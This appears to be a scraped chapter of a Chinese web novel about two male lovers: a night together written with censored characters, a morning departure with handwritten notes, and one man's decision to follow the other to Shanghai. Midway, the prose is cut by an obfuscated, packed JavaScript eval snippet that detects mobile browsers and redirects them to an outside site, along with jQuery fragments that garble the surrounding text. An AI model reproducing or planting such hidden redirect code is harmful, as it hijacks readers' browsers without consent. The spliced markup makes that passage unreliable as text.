何湛程在行李箱里找衣服，一向是头朝下、屁股朝天的经典狗刨式翻找。


    两秒找出一套睡衣，五秒翻出明天要穿的衣服裤子鞋，最后扔下一片狼藉，自顾自哼着小调进浴室洗澡。


    戚时蹲在床角帮人整理行李箱，把对方穿过的衣服一件件叠好，分门别类装进收纳袋，给人装回行李箱里。


    他公寓里有滚筒洗衣机，但不管是他的、还是何湛程的，冬季里里外外的衣服大多是有版型的羊绒和真丝质地，基本都需要送去专门的干洗店，只有内裤——


    由于戚时青春期时照顾他的是个阿姨，他一般习惯趁着她不在，自己偷偷洗了晾在卧室里，正巧，何少爷的内裤就从来不自己动手洗，俩人好着的时候，洗内裤这一项光荣而伟大的使命，就一直交给戚大总裁负责。


    夜间俩人要做运动，戚时习惯早晨起床后一块儿把四条都洗了，当然，如果少爷当晚穿得是千元以下的内裤，他也就懒得洗。


    当一次性的，直接给人扔了，反正家里还有好几百条。


    戚时拉行李箱拉链时，意外发现夹层塞着半卷厚、7.5cm宽的医用绷带。


    他挑了下眉，又把拉链拉开，拿起那卷绷带仔细看。


    就算是石头，切了一刀，隔过数月后，那缝隙里都该愈合长草了，何湛程这个刀口……怎么这么久了还需要缠着绷带？


    “你干什么！”


    何湛程擦着头发从浴室走出，见势忙疾步冲过来，一把从戚时手里夺过东西，满眼提防地盯着他：“这是我的。”


    戚时蹲在地上看他，有些诧异：“怎么了？我拿一下都不行？”


    何湛程察觉自己有点反应过度，清咳两声，语气软和下来：“没，我就……怕你逗我玩儿，藏起来不给我。”


    戚时起身朝他走过去：“怕什么怕？这种要紧事儿上，我能跟你耍无赖？”


    他倾身凑过去，眯眼笑着，近距离打量着这位他失而复得的情人。


    何湛程也笑，下意识抬手指摸两下领口，然后稳稳站在那儿，就这么随意任他欣赏。


    戚时低下头，鼻尖凑在他颈窝轻嗅着，喑哑嗓音低如呓语。


    “宝贝，你真好看。”


    “我也这么认为。”何湛程的脸上永远都是自信的笑。


    戚时抬起头，看不够似的，细致投入的目光近乎挑剔地欣赏着，连他每一根睫毛蜷曲的弧度都不肯放过。


    他的小情人，他的程儿，额前翘起几缕乌黑发丝，正滴答着水，那水串珠成线沿着那人剔羽般的鬓角流淌下去，程儿的一双冷眸也浮起濛濛雾气。


    刚出浴后的美人儿是温柔多情的，微微一笑便格外撩人，连白皙脸庞都泛着水光，清透无暇的肌肤……一路延展到锁骨下，露出那线条隐隐起伏的胸膛。


    胸膛。


    绑着绷带的胸膛。


    戚时忽然想起他曾遭受过什么。


    一刹那，满心欲念烟消云散。


    他皱眉望着他：“伤口还没好？当时很疼吧。”


    何湛程弯眼冲他笑：“疼，疼得要死，你不抱抱我吗？”


    戚时心软得一塌糊涂，立刻去抱他。


    他歉然道：“这件事，是我的责任。”


    何湛程眼神黯然下来。


    深呼吸一口气，两手安慰般拍着对方脊背，叹道：


    “戚时，我好了，只要有你在身边，我就会很好。”


    “我只是想让你关心我。”


    “戚时，你紧张我的样子，看起来特别爱我。”


    **


    夜色深浓时分，乌云阴霾渐趋褪散。


    一片清冷月光透窗洒落进来，照在床上二人交|叠的身|躯。


    何湛程伏着身子，鼻尖凝结的汗珠滴滴答答。


    他低声急道：“二哥，有些紧了。”


    身下人的脸腾地一下烧红起来，他不自在地别过头：“对不起……”


    何湛程皱起眉，手掌如铁钳，板过他下巴：“看着我，不要和我说对不起。”


    戚时耳根赤红，偏斜着肩膀，闭眼颤动着。


    ……


    ……


    “二哥……”


    “二哥，你好可爱。”


    何湛程闷闷地笑，低沉嗓音有几分疲惫过度的哑，他双臂如藤蔓般缠绕过那人的汗水淋漓的脊背与后腰，修长的腿也绞住对方的下裑，他将对方箍得紧紧的，低着头，嘴唇与人擦磨着、吸吮着，二人舌齿生液，他忘情地吻着他。


    戚时也抱住他，含混嘟囔道：“你小子又没戴套。”


    何湛程不甚在意地笑，说：“二哥，你再叫我一声吧。”


    “你小子。”


    “滚啊，不是这个。”


    “湛程？”


    “也不是这个。”


    “程儿？”


    “二哥。”


    “嗯？”


    二哥，我知道我们回不去了，但……


    “哪怕时光倒流一万遍，我也还是想再遇见你。”


    **


    戚时睡眠质量时好时坏，但夜晚枕边有某人时，他深度睡眠时长要远远高出平均标准。


    这就直接导致，次日他一觉好梦醒来，时间已经到下午一点钟，某人、和某人的行李箱全都不见踪影。


    戚时怔怔地望着虚空，怅然若失良久。


    然后翻了个身，闭眼轻嗅着某人昨夜躺过的位置。


    第一次如此清晰地意识到，情人和爱人的区别。


    他这天也没去上班。


    没洗漱、没下床，更没打理俩人昨晚激战过后脏掉的内裤和床单，甚至连小便都是憋得要爆炸了，才勉强爬起来跑了一趟卫生间。


    就这么颓废着，赤身裸|体着，莫名其妙地失落着，眼尾失禁般泛起泪花，在暖气烤得人快冒烟的卧室里，他全身蒙着厚被子，一味闷头赖在床上打游戏。


    一直打，一直输。


    继续打，继续输。


    持续走神，心不在焉，漫无目的地开枪胡来，雇陪玩，坑队友，在游戏里面被人骂，一被骂就充钱，二百、五百、一千、三千，买许多用不上的皮肤和装备，看心情好坏，送给这个ID、送给那个ID，依旧被人指着鼻子骂，他却笑得痛快。


    直到晚五点左右，窗外天都变黑了，他昏沉着脑袋，满身深浅不一的吻痕，趴在凉飕飕的地板上，压得底下蛋疼。


    他双手费力地扒着床沿，从地上慢吞吞爬起来——


    他不知道自己何时在睡梦中滚落到地上。


    枕边手机早已黑屏。


    他揉了把眼，随手套上件T恤和短裤，跑去卫生间解决了下生理问题，然后一溜烟儿回来继续躺着，打算就这么一辈子昏天黑地下去。


    摁开手机，刚准备再开一把，发现许多来自何湛程的未读消息。


    【二哥，醒了吗？】


    【我给你留了饭，你看到我贴在床头柜的便签了吗？】


    戚时连忙扭头去瞅床头柜。


    柜角，挨着台灯，一张浅蓝色便利贴，字迹狷狂：


    二哥，我煮了八宝粥，炒了两个菜，馒头和油条是在小区外面买的，都放在厨房保温锅，醒来记得吃。


    —程儿


    旁边还贴着第二张，这张字迹有些潦草，像是临行前匆忙写下的：


    二哥，我走了。


    本来想和你一起吃早饭，守了你一上午，见你睡得像只猪，没忍心叫你。


    云叔开车送我去机场，你放心睡吧。


    —程儿<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880415|168801||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>两张便贴摩挲在指间，他笑着笑着，止不住流泪。


    低头继续扒拉手机消息，都是对方刚发来的。


    【我上飞机了】


    【我去过中医部了，告诉他们你最近一周睡得很好，刘主任说，先让你戒药观察一段日子】


    【二哥，我也是这个意思】


    【我不想你长期依赖药物维持精神状态，否则到晚年你会很痛苦】


    【按医生的要求做好吗？】


    【如果你依旧觉得不舒服，及时打电话给我，我陪你一起去看】


    【我也看过我爸了，他一直在睡，呼吸微不可闻，我就把航班推迟到晚上了】


    【我知道自己陪在这里没什么用，但我不想后悔】


    【Noah让我不要打扰他，可是我还是忍不住和他说了很多话】


    【二哥，我有点儿害怕】


    眉心蹙起，他表情凝重地盯着最后一条消息。


    半晌，他手指敲着打字键，认真编辑一条：


    —有我在，你怕个鸟。


    发送完，戚时低头搓了两把脸，搓完，不够解困，一咬牙掌心卯足了劲儿，狠狠扇了自己两个清脆响亮的大耳刮子，惊得整个寂静卧室都跟着回荡了几秒余音。


    然后一个鲤鱼打挺从床上跳起来，长腿一跨迈下床，赤着脚飞快跑去卫生间洗漱，顺手给茉莉拨电话。


    那边茉莉迅速接通：“喂，戚总？”


    戚时歪着头，肩膀夹着手机，一手举着刮胡刀嗡嗡地刮着胡茬，嘴里含混不清地交代：“￥#@*&%￥%#……”


    茉莉：“……”


    茉莉：“戚总，您打字也行。”


    戚时俯身，一口泡沫水吐进盥洗池，抬手一抹嘴。


    “订机票和酒店，三小时后，我飞沪上。”


    “好的，我立刻安排。”


    “但是，您这次不住何家了吗？”


    “何家离医院太远，老子从今天起就住在病房了。”


    “你叫人摆个单人床，回头儿我行李都扔酒店，人过去。”


    “啊，”茉莉犹豫道，“这做得有点过了吧？何董那边知道了，肯定会觉得您别有用心。”


    “别有用心？”戚时冷呵一声，“老子就别有用心了，他能怎么着？老子是无赖，他是君子，你见过哪个君子能跟无赖讲道理的？再说了，他何老大就没问题了？这小子忍辱负重多年，现在可算是登上皇位了，隔三差五就跑进病房冲着老头儿阴阳怪气，把人老头儿说得直掉眼泪，他一家之主的胸怀呢？气魄呢？”


    “我告诉你，这事儿老子可憋得够久了！为了帮他树立起大哥的光辉形象，他私下干得那些小肚鸡肠的卑鄙行径，何老二何老三我可是一个都没告诉！我知道那小子一路走来不容易，但他也得给老子适可而止吧？回头儿要是真把老子的干爹给逼死了，我怎么跟程儿交代？”


    茉莉叹气：“清官难断家务事，人家父子的恩怨，咱们干涉不了，只能尽力而为吧。”


    “干涉不了也得干涉！”戚时疾步走去衣帽间换衣服，随手将手机扔橱柜上，吩咐道：“你带点儿人来，把何老大那几个秘书助理和保镖全都轰走，嗯，就说，这都是他们何董的意思！何闽轩那小子最近忙着对付董事会的人，估计也没空管医院这边的事儿。”


    “是。”


    临挂电话，茉莉想起什么似的，忙问：“您晚上是吃飞机餐凑合了，还是等落地了，我帮您订？订餐的话，是川菜，湘菜还是鲁菜？”


    “切，什么飞机餐，什么这个菜那个菜的，谁乐意吃那玩意儿？”


    茉莉：“啊？”


    戚时身姿笔挺地站在穿衣镜前，昂着下巴，手指有条不紊地系着领带。


    “老子要吃爱心早餐。”